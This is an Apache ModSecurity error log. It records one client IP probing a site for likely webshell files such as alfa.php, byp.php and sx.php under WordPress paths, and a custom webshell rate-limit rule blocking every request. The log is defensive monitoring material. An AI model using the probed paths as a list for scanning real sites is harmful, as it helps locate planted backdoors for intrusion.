[Tue Mar 24 01:07:34.683663 2026] [:error] [pid 56238:tid 56363] [client 20.220.216.188:29546] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "acFzVlSqceFAZRgPDq6WZQAAAM8"]
[Tue Mar 24 01:07:35.102583 2026] [:error] [pid 56435:tid 56501] [client 20.220.216.188:29560] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "acFzV8rwr-l5A-s9ryBvPgAAAQI"]
[Tue Mar 24 01:07:35.538453 2026] [:error] [pid 56236:tid 56303] [client 20.220.216.188:29466] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "acFzV3apFgYp0uZ8twAeaAAAAEo"]
[Tue Mar 24 01:07:35.951844 2026] [:error] [pid 56236:tid 56296] [client 20.220.216.188:29505] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "acFzV3apFgYp0uZ8twAeaQAAAEM"]
[Tue Mar 24 01:07:36.397419 2026] [:error] [pid 56237:tid 56328] [client 20.220.216.188:29536] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "acFzWAymO0MnzQb90MMhEQAAAIc"]
[Tue Mar 24 01:07:36.815629 2026] [:error] [pid 56435:tid 56520] [client 20.220.216.188:29451] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "acFzWMrwr-l5A-s9ryBvQwAAARM"]
[Tue Mar 24 01:07:37.254623 2026] [:error] [pid 56237:tid 56331] [client 20.220.216.188:29655] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/index.php"] [unique_id "acFzWQymO0MnzQb90MMhEwAAAIo"]
[Tue Mar 24 01:07:37.678284 2026] [:error] [pid 56237:tid 56330] [client 20.220.216.188:29474] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "acFzWQymO0MnzQb90MMhFQAAAIk"]
[Tue Mar 24 01:07:38.094539 2026] [:error] [pid 56435:tid 56499] [client 20.220.216.188:29512] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "acFzWsrwr-l5A-s9ryBvRgAAAQA"]
[Tue Mar 24 01:07:38.521376 2026] [:error] [pid 56238:tid 56352] [client 20.220.216.188:29617] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "acFzWlSqceFAZRgPDq6WZwAAAMQ"]
[Tue Mar 24 01:07:38.939784 2026] [:error] [pid 56435:tid 56520] [client 20.220.216.188:29638] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin.php"] [unique_id "acFzWsrwr-l5A-s9ryBvTgAAARM"]
[Tue Mar 24 01:07:39.357330 2026] [:error] [pid 56435:tid 56510] [client 20.220.216.188:29595] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "acFzW8rwr-l5A-s9ryBvUAAAAQo"]
[Tue Mar 24 01:07:39.778332 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29461] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "acFzW8rwr-l5A-s9ryBvUgAAARc"]
[Tue Mar 24 01:07:45.832521 2026] [:error] [pid 56237:tid 56340] [client 20.220.216.188:29649] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "acFzYQymO0MnzQb90MMhMAAAAJM"]
[Tue Mar 24 01:07:46.254212 2026] [:error] [pid 56237:tid 56333] [client 20.220.216.188:29441] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "acFzYgymO0MnzQb90MMhMgAAAIw"]
[Tue Mar 24 01:07:46.670791 2026] [:error] [pid 56237:tid 56325] [client 20.220.216.188:29554] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "acFzYgymO0MnzQb90MMhNQAAAIQ"]
[Tue Mar 24 01:07:47.085798 2026] [:error] [pid 56237:tid 56322] [client 20.220.216.188:29599] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/manager.php"] [unique_id "acFzYwymO0MnzQb90MMhOQAAAIE"]
[Tue Mar 24 01:07:47.532894 2026] [:error] [pid 56236:tid 56303] [client 20.220.216.188:29624] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "acFzY3apFgYp0uZ8twAefgAAAEo"]
[Tue Mar 24 01:07:47.943171 2026] [:error] [pid 56237:tid 56323] [client 20.220.216.188:29557] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "acFzYwymO0MnzQb90MMhQAAAAII"]
[Tue Mar 24 01:07:48.408352 2026] [:error] [pid 56435:tid 56507] [client 20.220.216.188:29513] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "acFzZMrwr-l5A-s9ryBvawAAAQc"]
[Tue Mar 24 01:07:48.843060 2026] [:error] [pid 56435:tid 56511] [client 20.220.216.188:29680] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "acFzZMrwr-l5A-s9ryBvbAAAAQs"]
[Tue Mar 24 01:07:49.259165 2026] [:error] [pid 56435:tid 56519] [client 20.220.216.188:29598] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "acFzZcrwr-l5A-s9ryBvbwAAARI"]
[Tue Mar 24 01:07:49.676796 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29613] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "acFzZcrwr-l5A-s9ryBvcwAAAQE"]
[Tue Mar 24 01:07:50.247272 2026] [:error] [pid 56435:tid 56518] [client 20.220.216.188:29524] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "acFzZsrwr-l5A-s9ryBvdgAAARE"]
[Tue Mar 24 01:07:50.819844 2026] [:error] [pid 56435:tid 56514] [client 20.220.216.188:29531] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "acFzZsrwr-l5A-s9ryBveQAAAQ0"]
[Tue Mar 24 01:07:51.235230 2026] [:error] [pid 56435:tid 56507] [client 20.220.216.188:29450] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acFzZ8rwr-l5A-s9ryBvewAAAQc"]
[Tue Mar 24 01:07:51.651070 2026] [:error] [pid 56236:tid 56306] [client 20.220.216.188:29530] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acFzZ3apFgYp0uZ8twAehwAAAE0"]
[Tue Mar 24 01:07:52.102195 2026] [:error] [pid 56238:tid 56361] [client 20.220.216.188:29507] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acFzaFSqceFAZRgPDq6WbgAAAM0"]
[Tue Mar 24 01:07:52.637698 2026] [:error] [pid 56238:tid 56359] [client 20.220.216.188:29637] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "acFzaFSqceFAZRgPDq6WbwAAAMs"]
[Tue Mar 24 01:07:53.093223 2026] [:error] [pid 56435:tid 56519] [client 20.220.216.188:29545] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "acFzacrwr-l5A-s9ryBvfgAAARI"]
[Tue Mar 24 01:07:53.544371 2026] [:error] [pid 56435:tid 56524] [client 20.220.216.188:29447] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "acFzacrwr-l5A-s9ryBvfwAAARc"]
[Tue Mar 24 01:07:54.124325 2026] [:error] [pid 56435:tid 56510] [client 20.220.216.188:29646] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "acFzasrwr-l5A-s9ryBvgQAAAQo"]
[Tue Mar 24 01:07:54.583566 2026] [:error] [pid 56236:tid 56315] [client 20.220.216.188:29444] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mail.php"] [unique_id "acFzanapFgYp0uZ8twAeigAAAFY"]
[Tue Mar 24 01:07:55.159211 2026] [:error] [pid 56236:tid 56313] [client 20.220.216.188:29443] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFza3apFgYp0uZ8twAejQAAAFQ"]
[Tue Mar 24 01:07:55.576026 2026] [:error] [pid 56435:tid 56523] [client 20.220.216.188:29567] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFza8rwr-l5A-s9ryBvhgAAARY"]
[Tue Mar 24 01:07:55.989769 2026] [:error] [pid 56435:tid 56519] [client 20.220.216.188:29503] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFza8rwr-l5A-s9ryBvigAAARI"]
[Tue Mar 24 01:07:56.463879 2026] [:error] [pid 56435:tid 56508] [client 20.220.216.188:29606] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "acFzbMrwr-l5A-s9ryBvjwAAAQg"]
[Tue Mar 24 01:07:56.918732 2026] [:error] [pid 56237:tid 56340] [client 20.220.216.188:29543] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "acFzbAymO0MnzQb90MMhcQAAAJM"]
[Tue Mar 24 01:07:57.359697 2026] [:error] [pid 56238:tid 56348] [client 20.220.216.188:29529] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "acFzbVSqceFAZRgPDq6WdQAAAMA"]
[Tue Mar 24 01:07:57.969709 2026] [:error] [pid 56435:tid 56523] [client 20.220.216.188:29559] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "acFzbcrwr-l5A-s9ryBvpwAAARY"]
[Tue Mar 24 01:07:58.389380 2026] [:error] [pid 56435:tid 56515] [client 20.220.216.188:29622] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sx.php"] [unique_id "acFzbsrwr-l5A-s9ryBvqgAAAQ4"]
[Tue Mar 24 01:07:58.821253 2026] [:error] [pid 56237:tid 56326] [client 20.220.216.188:29618] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acFzbgymO0MnzQb90MMhewAAAIU"]
[Tue Mar 24 01:07:59.233533 2026] [:error] [pid 56236:tid 56316] [client 20.220.216.188:29455] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acFzb3apFgYp0uZ8twAekAAAAFc"]
[Tue Mar 24 01:07:59.654925 2026] [:error] [pid 56435:tid 56509] [client 20.220.216.188:29550] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acFzb8rwr-l5A-s9ryBvrgAAAQk"]
[Tue Mar 24 01:08:00.124857 2026] [:error] [pid 56435:tid 56519] [client 20.220.216.188:29387] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "acFzcMrwr-l5A-s9ryBvrwAAARI"]
[Tue Mar 24 01:08:00.540509 2026] [:error] [pid 56435:tid 56508] [client 20.220.216.188:29456] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "acFzcMrwr-l5A-s9ryBvsQAAAQg"]
[Tue Mar 24 01:08:01.057458 2026] [:error] [pid 56238:tid 56370] [client 20.220.216.188:29528] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "acFzcVSqceFAZRgPDq6WgAAAANY"]
[Tue Mar 24 01:08:01.534231 2026] [:error] [pid 56237:tid 56345] [client 20.220.216.188:29502] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "acFzcQymO0MnzQb90MMhfAAAAJg"]
[Tue Mar 24 01:08:01.950898 2026] [:error] [pid 56238:tid 56368] [client 20.220.216.188:29489] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "acFzcVSqceFAZRgPDq6WgwAAANQ"]
[Tue Mar 24 01:08:02.369077 2026] [:error] [pid 56238:tid 56362] [client 20.220.216.188:29556] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acFzclSqceFAZRgPDq6WhQAAAM4"]
[Tue Mar 24 01:08:02.790586 2026] [:error] [pid 56238:tid 56356] [client 20.220.216.188:29482] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acFzclSqceFAZRgPDq6WhgAAAMg"]
[Tue Mar 24 01:08:03.207704 2026] [:error] [pid 56238:tid 56349] [client 20.220.216.188:29449] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acFzc1SqceFAZRgPDq6WiAAAAME"]
[Tue Mar 24 01:08:03.672320 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29399] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "acFzc8rwr-l5A-s9ryBvuQAAAQQ"]
[Tue Mar 24 01:08:04.135142 2026] [:error] [pid 56238:tid 56362] [client 20.220.216.188:29472] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "acFzdFSqceFAZRgPDq6WlQAAAM4"]
[Tue Mar 24 01:08:04.576851 2026] [:error] [pid 56236:tid 56311] [client 20.220.216.188:29463] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "acFzdHapFgYp0uZ8twAemQAAAFI"]
[Tue Mar 24 01:08:05.003574 2026] [:error] [pid 56435:tid 56499] [client 20.220.216.188:29616] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "acFzdcrwr-l5A-s9ryBvwgAAAQA"]
